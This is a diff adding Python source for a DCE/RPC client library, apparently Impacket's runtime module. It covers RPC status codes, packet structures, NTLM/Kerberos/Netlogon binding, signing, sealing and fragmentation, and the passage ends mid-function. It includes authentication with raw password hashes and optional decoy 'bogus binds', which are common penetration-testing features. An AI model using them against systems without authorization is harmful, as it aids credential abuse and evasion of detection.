+    0x16c9a142 : "rpc_svc_desc_nsi",
+    0x16c9a143 : "rpc_svc_desc_dg_pkt",
+    0x16c9a144 : "rpc_m_cn_ill_state_trans_sa",
+    0x16c9a145 : "rpc_m_cn_ill_state_trans_ca",
+    0x16c9a146 : "rpc_m_cn_ill_state_trans_sg",
+    0x16c9a147 : "rpc_m_cn_ill_state_trans_cg",
+    0x16c9a148 : "rpc_m_cn_ill_state_trans_sr",
+    0x16c9a149 : "rpc_m_cn_ill_state_trans_cr",
+    0x16c9a14a : "rpc_m_bad_pkt_type",
+    0x16c9a14b : "rpc_m_prot_mismatch",
+    0x16c9a14c : "rpc_m_frag_toobig",
+    0x16c9a14d : "rpc_m_unsupp_stub_rtl_if",
+    0x16c9a14e : "rpc_m_unhandled_callstate",
+    0x16c9a14f : "rpc_m_call_failed",
+    0x16c9a150 : "rpc_m_call_failed_no_status",
+    0x16c9a151 : "rpc_m_call_failed_errno",
+    0x16c9a152 : "rpc_m_call_failed_s",
+    0x16c9a153 : "rpc_m_call_failed_c",
+    0x16c9a154 : "rpc_m_errmsg_toobig",
+    0x16c9a155 : "rpc_m_invalid_srchattr",
+    0x16c9a156 : "rpc_m_nts_not_found",
+    0x16c9a157 : "rpc_m_invalid_accbytcnt",
+    0x16c9a158 : "rpc_m_pre_v2_ifspec",
+    0x16c9a159 : "rpc_m_unk_ifspec",
+    0x16c9a15a : "rpc_m_recvbuf_toosmall",
+    0x16c9a15b : "rpc_m_unalign_authtrl",
+    0x16c9a15c : "rpc_m_unexpected_exc",
+    0x16c9a15d : "rpc_m_no_stub_data",
+    0x16c9a15e : "rpc_m_eventlist_full",
+    0x16c9a15f : "rpc_m_unk_sock_type",
+    0x16c9a160 : "rpc_m_unimp_call",
+    0x16c9a161 : "rpc_m_invalid_seqnum",
+    0x16c9a162 : "rpc_m_cant_create_uuid",
+    0x16c9a163 : "rpc_m_pre_v2_ss",
+    0x16c9a164 : "rpc_m_dgpkt_pool_corrupt",
+    0x16c9a165 : "rpc_m_dgpkt_bad_free",
+    0x16c9a166 : "rpc_m_lookaside_corrupt",
+    0x16c9a167 : "rpc_m_alloc_fail",
+    0x16c9a168 : "rpc_m_realloc_fail",
+    0x16c9a169 : "rpc_m_cant_open_file",
+    0x16c9a16a : "rpc_m_cant_read_addr",
+    0x16c9a16b : "rpc_svc_desc_libidl",
+    0x16c9a16c : "rpc_m_ctxrundown_nomem",
+    0x16c9a16d : "rpc_m_ctxrundown_exc",
+    0x16c9a16e : "rpc_s_fault_codeset_conv_error",
+    0x16c9a16f : "rpc_s_no_call_active",
+    0x16c9a170 : "rpc_s_cannot_support",
+    0x16c9a171 : "rpc_s_no_context_available",
+}
+
+class DCERPCException(Exception):
+    """
+    This is the exception every client should catch regardless of the underlying
+    DCERPC Transport used.
+    """
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        """
+        :param string error_string: A string you want to show explaining the exception. Otherwise the default ones will be used
+        :param integer error_code: the error_code if we're using a dictionary with error's descriptions
+        :param NDR packet: if successfully decoded, the NDR packet of the response call. This could probably have useful
+        information
+        """
+        Exception.__init__(self)
+        self.packet = packet
+        self.error_string = error_string
+        if packet is not None:
+            try:
+                self.error_code = packet['ErrorCode']
+            except:
+                self.error_code = error_code
+        else:
+            self.error_code = error_code
+
+    def get_error_code( self ):
+        return self.error_code
+ 
+    def get_packet( self ):
+        return self.packet
+
+    def __str__( self ):
+        key = self.error_code
+        if self.error_string is not None:
+            return self.error_string
+        if key in rpc_status_codes:
+            error_msg_short = rpc_status_codes[key]
+            return 'DCERPC Runtime Error: code: 0x%x - %s ' % (self.error_code, error_msg_short)
+        else:
+            return 'DCERPC Runtime Error: unknown error code: 0x%x' % self.error_code
+
+# Context Item
+class CtxItem(Structure):
+    structure = (
+        ('ContextID','<H=0'),
+        ('TransItems','B=0'),
+        ('Pad','B=0'),
+        ('AbstractSyntax','20s=""'),
+        ('TransferSyntax','20s=""'),
+    )
+
+class CtxItemResult(Structure):
+    structure = (
+        ('Result','<H=0'),
+        ('Reason','<H=0'),
+        ('TransferSyntax','20s=""'),
+    )
+
+class SEC_TRAILER(Structure):
+    commonHdr = (
+        ('auth_type', 'B=10'),
+        ('auth_level','B=0'),
+        ('auth_pad_len','B=0'),
+        ('auth_rsvrd','B=0'),
+        ('auth_ctx_id','<L=747920'),
+    )
+
+class MSRPCHeader(Structure):
+    _SIZE = 16
+    commonHdr = ( 
+        ('ver_major','B=5'),                              # 0
+        ('ver_minor','B=0'),                              # 1
+        ('type','B=0'),                                   # 2
+        ('flags','B=0'),                                  # 3
+        ('representation','<L=0x10'),                     # 4
+        ('frag_len','<H=self._SIZE+len(auth_data)+(16 if (self["flags"] & 0x80) > 0 else 0)+len(pduData)+len(pad)+len(sec_trailer)'),  # 8
+        ('auth_len','<H=len(auth_data)'),                 # 10
+        ('call_id','<L=1'),                               # 12    <-- Common up to here (including this)
+    )
+
+    structure = ( 
+        ('dataLen','_-pduData','self["frag_len"]-self["auth_len"]-self._SIZE-(8 if self["auth_len"] > 0 else 0)'),
+        ('pduData',':'),                                
+        ('_pad', '_-pad','(4 - ((self._SIZE + (16 if (self["flags"] & 0x80) > 0 else 0) + len(self["pduData"])) & 3) & 3)'),
+        ('pad', ':'),
+        ('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'),
+        ('sec_trailer',':'),
+        ('auth_dataLen','_-auth_data','self["auth_len"]'),
+        ('auth_data',':'),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self,data, alignment)
+        if data is None:
+            self['ver_major'] = 5
+            self['ver_minor'] = 0
+            self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
+            self['type'] = MSRPC_REQUEST
+            self.__frag_len_set = 0
+            self['auth_len'] = 0
+            self['pduData'] = b''
+            self['auth_data'] = b''
+            self['sec_trailer'] = b''
+            self['pad'] = b''
+
+    def get_header_size(self):
+        return self._SIZE + (16 if (self["flags"] & PFC_OBJECT_UUID) > 0 else 0)
+
+    def get_packet(self):
+        if self['auth_data'] != b'':
+            self['auth_len'] = len(self['auth_data'])
+        # The sec_trailer structure MUST be 4-byte aligned with respect to 
+        # the beginning of the PDU. Padding octets MUST be used to align the 
+        # sec_trailer structure if its natural beginning is not already 4-byte aligned
+        ##self['pad'] = '\xAA' * (4 - ((self._SIZE + len(self['pduData'])) & 3) & 3)
+
+        return self.getData()
+
+class MSRPCRequestHeader(MSRPCHeader):
+    _SIZE = 24
+    commonHdr = MSRPCHeader.commonHdr + ( 
+        ('alloc_hint','<L=0'),                            # 16
+        ('ctx_id','<H=0'),                                # 20
+        ('op_num','<H=0'),                                # 22
+        ('_uuid','_-uuid','16 if self["flags"] & 0x80 > 0 else 0' ), # 22
+        ('uuid',':'),                                # 22
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        MSRPCHeader.__init__(self, data, alignment)
+        if data is None:
+           self['type'] = MSRPC_REQUEST
+           self['ctx_id'] = 0
+           self['uuid'] = b''
+
+class MSRPCRespHeader(MSRPCHeader):
+    _SIZE = 24
+    commonHdr = MSRPCHeader.commonHdr + ( 
+        ('alloc_hint','<L=0'),                          # 16   
+        ('ctx_id','<H=0'),                              # 20
+        ('cancel_count','<B=0'),                        # 22
+        ('padding','<B=0'),                             # 23
+    )
+
+    def __init__(self, aBuffer = None, alignment = 0):
+        MSRPCHeader.__init__(self, aBuffer, alignment)
+        if aBuffer is None:
+            self['type'] = MSRPC_RESPONSE
+            self['ctx_id'] = 0
+
+class MSRPCBind(Structure):
+    _CTX_ITEM_LEN = len(CtxItem())
+    structure = ( 
+        ('max_tfrag','<H=4280'),
+        ('max_rfrag','<H=4280'),
+        ('assoc_group','<L=0'),
+        ('ctx_num','B=0'),
+        ('Reserved','B=0'),
+        ('Reserved2','<H=0'),
+        ('_ctx_items', '_-ctx_items', 'self["ctx_num"]*self._CTX_ITEM_LEN'),
+        ('ctx_items',':'),
+    )
+ 
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is None:
+            self['max_tfrag'] = 4280
+            self['max_rfrag'] = 4280
+            self['assoc_group'] = 0
+            self['ctx_num'] = 1
+            self['ctx_items'] = b''
+        self.__ctx_items = []
+
+    def addCtxItem(self, item):
+        self.__ctx_items.append(item)
+    
+    def getData(self):
+        self['ctx_num'] = len(self.__ctx_items)
+        for i in self.__ctx_items:
+            self['ctx_items'] += i.getData()
+        return Structure.getData(self)
+
+class MSRPCBindAck(MSRPCHeader):
+    _SIZE = 26 # Up to SecondaryAddr
+    _CTX_ITEM_LEN = len(CtxItemResult())
+    structure = ( 
+        ('max_tfrag','<H=0'),
+        ('max_rfrag','<H=0'),
+        ('assoc_group','<L=0'),
+        ('SecondaryAddrLen','<H&SecondaryAddr'), 
+        ('SecondaryAddr','z'),                          # Optional if SecondaryAddrLen == 0
+        ('PadLen','_-Pad','(4-((self["SecondaryAddrLen"]+self._SIZE) % 4))%4'),
+        ('Pad',':'),
+        ('ctx_num','B=0'),
+        ('Reserved','B=0'),
+        ('Reserved2','<H=0'),
+        ('_ctx_items','_-ctx_items','self["ctx_num"]*self._CTX_ITEM_LEN'),
+        ('ctx_items',':'),
+        ('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'),
+        ('sec_trailer',':'),
+        ('auth_dataLen','_-auth_data','self["auth_len"]'),
+        ('auth_data',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        self.__ctx_items = []
+        MSRPCHeader.__init__(self,data,alignment)
+        if data is None:
+            self['Pad'] = b''
+            self['ctx_items'] = b''
+            self['sec_trailer'] = b''
+            self['auth_data'] = b''
+
+    def getCtxItems(self):
+        return self.__ctx_items
+
+    def getCtxItem(self,index):
+        return self.__ctx_items[index-1]
+
+    def fromString(self, data):
+        Structure.fromString(self,data)
+        # Parse the ctx_items
+        data = self['ctx_items']
+        for i in range(self['ctx_num']):
+            item = CtxItemResult(data)
+            self.__ctx_items.append(item)
+            data = data[len(item):]
+            
+class MSRPCBindNak(Structure):
+    structure = ( 
+        ('RejectedReason','<H=0'),
+        ('SupportedVersions',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self,data,alignment)
+        if data is None:
+            self['SupportedVersions'] = b''
+
+class DCERPC:
+    # Standard NDR Representation
+    NDRSyntax   = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))
+    # NDR 64
+    NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
+    transfer_syntax =  NDRSyntax
+
+    def __init__(self,transport):
+        self._transport = transport
+        self.set_ctx_id(0)
+        self._max_user_frag = None
+        self.set_default_max_fragment_size()
+        self._ctx = None
+
+    def get_rpc_transport(self):
+        return self._transport
+
+    def set_ctx_id(self, ctx_id):
+        self._ctx = ctx_id
+
+    def connect(self):
+        return self._transport.connect()
+
+    def disconnect(self):
+        return self._transport.disconnect()
+
+    def set_max_fragment_size(self, fragment_size):
+        # -1 is default fragment size: 0 for v5, 1300 y pico for v4
+        #  0 is don't fragment
+        #    other values are max fragment size
+        if fragment_size == -1:
+            self.set_default_max_fragment_size()
+        else:
+            self._max_user_frag = fragment_size
+
+    def set_default_max_fragment_size(self):
+        # default is 0: don'fragment. v4 will override this method
+        self._max_user_frag = 0
+
+    def send(self, data):
+        raise RuntimeError ('virtual method. Not implemented in subclass')
+
+    def recv(self):
+        raise RuntimeError ('virtual method. Not implemented in subclass')
+
+    def alter_ctx(self, newUID, bogus_binds=''):
+        raise RuntimeError ('virtual method. Not implemented in subclass')
+
+    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
+        pass
+
+    def set_auth_level(self, auth_level):
+        pass
+
+    def set_auth_type(self, auth_type, callback=None):
+        pass
+
+    def get_idempotent(self):
+        return 0
+
+    def set_idempotent(self, flag):
+        pass
+
+    def call(self, function, body, uuid=None):
+        if hasattr(body, 'getData'):
+            return self.send(DCERPC_RawCall(function, body.getData(), uuid))
+        else:
+            return self.send(DCERPC_RawCall(function, body, uuid))
+
+    def request(self, request, uuid=None, checkError=True):
+        if self.transfer_syntax == self.NDR64Syntax:
+            request.changeTransferSyntax(self.NDR64Syntax)
+            isNDR64 = True
+        else:
+            isNDR64 = False
+
+        self.call(request.opnum, request, uuid)
+        answer = self.recv()
+
+        __import__(request.__module__)
+        module = sys.modules[request.__module__]
+        respClass = getattr(module, request.__class__.__name__ + 'Response')
+
+        if  answer[-4:] != b'\x00\x00\x00\x00' and checkError is True:
+            error_code = unpack('<L', answer[-4:])[0]
+            if error_code in rpc_status_codes:
+                # This is an error we can handle
+                exception = DCERPCException(error_code = error_code)
+            else:    
+                sessionErrorClass = getattr(module, 'DCERPCSessionError')
+                try:
+                    # Try to unpack the answer, even if it is an error, it works most of the times
+                    response =  respClass(answer, isNDR64 = isNDR64)
+                except:
+                    # No luck :(
+                    exception = sessionErrorClass(error_code = error_code)
+                else:
+                    exception = sessionErrorClass(packet = response, error_code = error_code)
+            raise exception
+        else:
+            response =  respClass(answer, isNDR64 = isNDR64)
+            return response
+
+class DCERPC_v4(DCERPC):
+    pass
+
+class DCERPC_v5(DCERPC):
+    def __init__(self, transport):
+        DCERPC.__init__(self, transport)
+        self.__auth_level = RPC_C_AUTHN_LEVEL_NONE
+        self.__auth_type = RPC_C_AUTHN_WINNT
+        self.__auth_type_callback = None
+        # Flags of the authenticated session. We will need them throughout the connection
+        self.__auth_flags = 0
+        self.__username = None
+        self.__password = None
+        self.__domain = ''
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = ''
+        self.__TGT    = None
+        self.__TGS    = None
+        
+        self.__clientSigningKey = b''
+        self.__serverSigningKey = b''
+        self.__clientSealingKey = b''
+        self.__clientSealingHandle = b''
+        self.__serverSealingKey = b''
+        self.__serverSealingHandle = b''
+        self.__sequence = 0   
+
+        self.transfer_syntax = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))
+        self.__callid = 1
+        self._ctx = 0
+        self.__sessionKey = None
+        self.__max_xmit_size  = 0
+        self.__flags = 0
+        self.__cipher = None
+        self.__confounder = b''
+        self.__gss = None
+
+    def set_session_key(self, session_key):
+        self.__sessionKey = session_key
+
+    def get_session_key(self):
+        return self.__sessionKey
+
+    def set_auth_level(self, auth_level):
+        self.__auth_level = auth_level
+
+    def set_auth_type(self, auth_type, callback = None):
+        self.__auth_type = auth_type
+        self.__auth_type_callback = callback
+
+    def get_auth_type(self):
+        return self.__auth_type
+
+    def set_max_tfrag(self, size):
+        self.__max_xmit_size = size
+    
+    def get_credentials(self):
+        return self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS
+
+    def set_credentials(self, username, password, domain = '', lmhash = '', nthash = '', aesKey = '', TGT = None, TGS = None):
+        self.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
+        self.__username = username
+        self.__password = password
+        self.__domain   = domain
+        self.__aesKey   = aesKey
+        self.__TGT      = TGT
+        self.__TGS      = TGS
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+            try: # just in case they were converted already
+                self.__lmhash = unhexlify(lmhash)
+                self.__nthash = unhexlify(nthash)
+            except:
+                self.__lmhash = lmhash
+                self.__nthash = nthash
+                pass
+
+    def bind(self, iface_uuid, alter = 0, bogus_binds = 0, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')):
+        bind = MSRPCBind()
+        #item['TransferSyntax']['Version'] = 1
+        ctx = self._ctx
+        for i in range(bogus_binds):
+            item = CtxItem()
+            item['ContextID'] = ctx
+            item['TransItems'] = 1
+            item['ContextID'] = ctx
+            # We generate random UUIDs for bogus binds
+            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
+            item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)
+            bind.addCtxItem(item)
+            self._ctx += 1
+            ctx += 1
+
+        # The true one :)
+        item = CtxItem()
+        item['AbstractSyntax'] = iface_uuid
+        item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)
+        item['ContextID'] = ctx
+        item['TransItems'] = 1
+        bind.addCtxItem(item)
+
+        packet = MSRPCHeader()
+        packet['type'] = MSRPC_BIND
+        packet['pduData'] = bind.getData()
+        packet['call_id'] = self.__callid
+
+        if alter:
+            packet['type'] = MSRPC_ALTERCTX
+
+        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:
+            if (self.__username is None) or (self.__password is None):
+                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS = self._transport.get_credentials()
+
+            if self.__auth_type == RPC_C_AUTHN_WINNT:
+                auth = ntlm.getNTLMSSPType1('', '', signingRequired=True,
+                                            use_ntlmv2=self._transport.doesSupportNTLMv2())
+            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                from impacket.dcerpc.v5 import nrpc
+                auth = nrpc.getSSPType1(self.__username[:-1], self.__domain, signingRequired=True)
+            elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                self.__cipher, self.__sessionKey, auth = kerberosv5.getKerberosType1(self.__username, self.__password,
+                                                                                     self.__domain, self.__lmhash,
+                                                                                     self.__nthash, self.__aesKey,
+                                                                                     self.__TGT, self.__TGS,
+                                                                                     self._transport.getRemoteName(),
+                                                                                     self._transport.get_kdcHost())
+            else:
+                raise DCERPCException('Unsupported auth_type 0x%x' % self.__auth_type)
+
+            sec_trailer = SEC_TRAILER()
+            sec_trailer['auth_type']   = self.__auth_type
+            sec_trailer['auth_level']  = self.__auth_level
+            sec_trailer['auth_ctx_id'] = self._ctx + 79231 
+
+            pad = (4 - (len(packet.get_packet()) % 4)) % 4
+            if pad != 0:
+               packet['pduData'] += b'\xFF'*pad
+               sec_trailer['auth_pad_len']=pad
+
+            packet['sec_trailer'] = sec_trailer
+            packet['auth_data'] = auth
+
+        self._transport.send(packet.get_packet())
+
+        s = self._transport.recv()
+
+        if s != 0:
+            resp = MSRPCHeader(s)
+        else:
+            return 0 #mmm why not None?
+
+        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
+            bindResp = MSRPCBindAck(resp.getData())
+        elif resp['type'] == MSRPC_BINDNAK or resp['type'] == MSRPC_FAULT:
+            if resp['type'] == MSRPC_FAULT:
+                resp = MSRPCRespHeader(resp.getData())
+                status_code = unpack('<L', resp['pduData'][:4])[0]
+            else:
+                resp = MSRPCBindNak(resp['pduData'])
+                status_code = resp['RejectedReason']
+            if status_code in rpc_status_codes:
+                raise DCERPCException(error_code = status_code)
+            elif status_code in rpc_provider_reason:
+                raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
+            else:
+                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
+        else:
+            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+
+        # check ack results for each context, except for the bogus ones
+        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
+            ctxItems = bindResp.getCtxItem(ctx)
+            if ctxItems['Result'] != 0:
+                msg = "Bind context %d rejected: " % ctx
+                msg += rpc_cont_def_result.get(ctxItems['Result'], 'Unknown DCE RPC context result code: %.4x' % ctxItems['Result'])
+                msg += "; "
+                reason = bindResp.getCtxItem(ctx)['Reason']
+                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
+                if (ctxItems['Result'], reason) == (2, 1): # provider_rejection, abstract syntax not supported
+                    msg += " (this usually means the interface isn't listening on the given endpoint)"
+                raise DCERPCException(msg)
+
+            # Save the transfer syntax for later use
+            self.transfer_syntax = ctxItems['TransferSyntax'] 
+
+        # The received transmit size becomes the client's receive size, and the received receive size becomes the client's transmit size.
+        self.__max_xmit_size = bindResp['max_rfrag']
+
+        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:
+            if self.__auth_type == RPC_C_AUTHN_WINNT:
+                response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username,
+                                                                   self.__password, self.__domain, self.__lmhash,
+                                                                   self.__nthash,
+                                                                   use_ntlmv2=self._transport.doesSupportNTLMv2())
+                self.__flags = response['flags']
+            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                response = None
+            elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                self.__cipher, self.__sessionKey, response = kerberosv5.getKerberosType3(self.__cipher,
+                                                                                         self.__sessionKey,
+                                                                                         bindResp['auth_data'])
+
+            self.__sequence = 0
+
+            if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY):
+                if self.__auth_type == RPC_C_AUTHN_WINNT:
+                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                        self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, self.__sessionKey)
+                        self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, self.__sessionKey,b"Server")
+                        self.__clientSealingKey = ntlm.SEALKEY(self.__flags, self.__sessionKey)
+                        self.__serverSealingKey = ntlm.SEALKEY(self.__flags, self.__sessionKey,b"Server")
+                        # Preparing the keys handle states
+                        cipher3 = ARC4.new(self.__clientSealingKey)
+                        self.__clientSealingHandle = cipher3.encrypt
+                        cipher4 = ARC4.new(self.__serverSealingKey)
+                        self.__serverSealingHandle = cipher4.encrypt
+                    else:
+                        # Same key for everything
+                        self.__clientSigningKey = self.__sessionKey
+                        self.__serverSigningKey = self.__sessionKey
+                        self.__clientSealingKey = self.__sessionKey
+                        self.__serverSealingKey = self.__sessionKey
+                        cipher = ARC4.new(self.__clientSigningKey)
+                        self.__clientSealingHandle = cipher.encrypt
+                        self.__serverSealingHandle = cipher.encrypt
+                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                    if self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:
+                        self.__confounder = b''
+                    else:
+                        self.__confounder = b'12345678'
+
+            sec_trailer = SEC_TRAILER()
+            sec_trailer['auth_type'] = self.__auth_type
+            sec_trailer['auth_level'] = self.__auth_level
+            sec_trailer['auth_ctx_id'] = self._ctx + 79231 
+
+            if response is not None:
+                if self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                    alter_ctx = MSRPCHeader()
+                    alter_ctx['type'] = MSRPC_ALTERCTX
+                    alter_ctx['pduData'] = bind.getData()
+                    alter_ctx['sec_trailer'] = sec_trailer
+                    alter_ctx['auth_data'] = response
+                    self._transport.send(alter_ctx.get_packet(), forceWriteAndx = 1)
+                    self.__gss = gssapi.GSSAPI(self.__cipher)
+                    self.__sequence = 0
+                    self.recv()
+                    self.__sequence = 0
+                else:
+                    auth3 = MSRPCHeader()
+                    auth3['type'] = MSRPC_AUTH3
+                    # pad (4 bytes): Can be set to any arbitrary value when set and MUST be 
+                    # ignored on receipt. The pad field MUST be immediately followed by a 
+                    # sec_trailer structure whose layout, location, and alignment are as 
+                    # specified in section 2.2.2.11
+                    auth3['pduData'] = b'    '
+                    auth3['sec_trailer'] = sec_trailer
+                    auth3['auth_data'] = response.getData()
+
+                    # Use the same call_id
+                    self.__callid = resp['call_id']
+                    auth3['call_id'] = self.__callid
+                    self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
+
+            self.__callid += 1
+
+        return resp     # means packet is signed, if verifier is wrong it fails
+
+    def _transport_send(self, rpc_packet, forceWriteAndx = 0, forceRecv = 0):
+        rpc_packet['ctx_id'] = self._ctx
+        rpc_packet['sec_trailer'] = b''
+        rpc_packet['auth_data'] = b''
+
+        if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]:
+            # Dummy verifier, just for the calculations
+            sec_trailer = SEC_TRAILER()
+            sec_trailer['auth_type'] = self.__auth_type
+            sec_trailer['auth_level'] = self.__auth_level
+            sec_trailer['auth_pad_len'] = 0
+            sec_trailer['auth_ctx_id'] = self._ctx + 79231 
+
+            pad = (4 - (len(rpc_packet.get_packet()) % 4)) % 4
+            if pad != 0:
+                rpc_packet['pduData'] += b'\xBB'*pad
+                sec_trailer['auth_pad_len']=pad
+
+            rpc_packet['sec_trailer'] = sec_trailer.getData()
+            rpc_packet['auth_data'] = b' '*16
+
+            plain_data = rpc_packet['pduData']
+            if self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
+                if self.__auth_type == RPC_C_AUTHN_WINNT:
+                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                        # When NTLM2 is on, we sign the whole pdu, but encrypt just
+                        # the data, not the dcerpc header. Weird..
+                        sealedMessage, signature =  ntlm.SEAL(self.__flags, 
+                               self.__clientSigningKey, 
+                               self.__clientSealingKey,  
+                               rpc_packet.get_packet()[:-16], 
+                               plain_data, 
+                               self.__sequence, 
+                               self.__clientSealingHandle)
+                    else:
+                        sealedMessage, signature =  ntlm.SEAL(self.__flags, 
+                               self.__clientSigningKey, 
+                               self.__clientSealingKey,  
+                               plain_data, 
+                               plain_data, 
+                               self.__sequence, 
+                               self.__clientSealingHandle)
+                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                    from impacket.dcerpc.v5 import nrpc
+                    sealedMessage, signature = nrpc.SEAL(plain_data, self.__confounder, self.__sequence, self.__sessionKey, False)
+                elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                    sealedMessage, signature = self.__gss.GSS_Wrap(self.__sessionKey, plain_data, self.__sequence)
+
+                rpc_packet['pduData'] = sealedMessage
+            elif self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY: 
+                if self.__auth_type == RPC_C_AUTHN_WINNT:
+                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                        # Interesting thing.. with NTLM2, what is is signed is the 
+                        # whole PDU, not just the data
+                        signature =  ntlm.SIGN(self.__flags,
+                               self.__clientSigningKey, 
+                               rpc_packet.get_packet()[:-16], 
+                               self.__sequence, 
+                               self.__clientSealingHandle)
+                    else:
+                        signature =  ntlm.SIGN(self.__flags, 
+                               self.__clientSigningKey, 
+                               plain_data, 
+                               self.__sequence, 
+                               self.__clientSealingHandle)
+                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                    from impacket.dcerpc.v5 import nrpc
+                    signature = nrpc.SIGN(plain_data, 
+                           self.__confounder, 
+                           self.__sequence, 
+                           self.__sessionKey, 
+                           False)
+                elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                    signature = self.__gss.GSS_GetMIC(self.__sessionKey, plain_data, self.__sequence)
+
+            rpc_packet['sec_trailer'] = sec_trailer.getData()
+            rpc_packet['auth_data'] = signature
+
+            self.__sequence += 1
+
+        self._transport.send(rpc_packet.get_packet(), forceWriteAndx = forceWriteAndx, forceRecv = forceRecv)
+
+    def send(self, data):
+        if isinstance(data, MSRPCHeader) is not True:
+            # Must be an Impacket, transform to structure
+            data = DCERPC_RawCall(data.OP_NUM, data.get_packet())
+
+        try:
+            if data['uuid'] != b'':
+                data['flags'] |= PFC_OBJECT_UUID
+        except:
+            # Structure doesn't have uuid
+            pass
+        data['ctx_id'] = self._ctx
+        data['call_id'] = self.__callid
+        data['alloc_hint'] = len(data['pduData'])
+        # We should fragment PDUs if:
+        # 1) Payload exceeds __max_xmit_size received during BIND response
+        # 2) We'e explicitly fragmenting packets with lower values
+        should_fragment = False
+
+        # Let's decide what will drive fragmentation for this request
+        if self._max_user_frag > 0:
+            # User set a frag size, let's compare it with the max transmit size agreed when binding the interface
+            fragment_size = min(self._max_user_frag, self.__max_xmit_size)
+        else:
+            fragment_size = self.__max_xmit_size
+
+        # Sanity check. Fragmentation can't be too low, otherwise sec_trailer won't fit
+
+        if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]:
+            if fragment_size <= 8:
+                # Minimum pdu fragment size is 8, important when doing PKT_INTEGRITY/PRIVACY. We need a minimum size of 8
+                # (Kerberos)
+                fragment_size = 8
+
+        # ToDo: Better calculate the size needed. Now I'm setting a number that surely is enough for Kerberos and NTLM
+        # ToDo: trailers, both for INTEGRITY and PRIVACY. This means we're not truly honoring the user's frag request.
+        if len(data['pduData']) + 128 > fragment_size:
+            should_fragment = True
+            if fragment_size+128 > self.__max_xmit_size:
+                fragment_size = self.__max_xmit_size - 128
+
+        if should_fragment:
+            packet = data['pduData']
+            offset = 0
+
+            while 1:
+                toSend = packet[offset:offset+fragment_size]
+                if not toSend:
+                    break
+                if offset == 0:
+                    data['flags'] |= PFC_FIRST_FRAG
+                else:
+                    data['flags'] &= (~PFC_FIRST_FRAG)
+                offset += len(toSend)
+                if offset >= len(packet):
+                    data['flags'] |= PFC_LAST_FRAG
+                else:
+                    data['flags'] &= (~PFC_LAST_FRAG)
+                data['pduData'] = toSend
+                self._transport_send(data, forceWriteAndx = 1, forceRecv =data['flags'] & PFC_LAST_FRAG)
+        else:
+            self._transport_send(data)
+        self.__callid += 1
+
+    def recv(self):
+        finished = False
+        forceRecv = 0
+        retAnswer = b''
+        while not finished:
+            # At least give me the MSRPCRespHeader, especially important for 
+            # TCP/UDP Transports
+            response_data = self._transport.recv(forceRecv, count=MSRPCRespHeader._SIZE)
+            response_header = MSRPCRespHeader(response_data)
+            # Ok, there might be situation, especially with large packets, that 
